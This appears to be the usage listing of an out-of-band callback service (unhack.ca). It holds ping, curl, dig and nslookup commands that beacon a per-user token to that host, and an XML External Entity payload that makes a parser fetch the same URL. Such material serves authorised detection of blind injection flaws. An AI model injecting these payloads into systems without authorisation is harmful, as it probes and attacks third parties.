$ ping -c1 -p 008acd76647c3da0c92d7eafe3ff8400 unhack.ca
 

$ curl http://unhack.ca/p/8acd76647c3da0c92d7eafe3ff84
 

$ dig 8acd76647c3da0c92d7eafe3ff84 @unhack.ca
 

$ dig 8acd76647c3da0c92d7eafe3ff84.ns.unhack.ca
 

C:\> nslookup 8acd76647c3da0c92d7eafe3ff84 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8acd76647c3da0c92d7eafe3ff84">]>
    <foo>&xxe;</foo>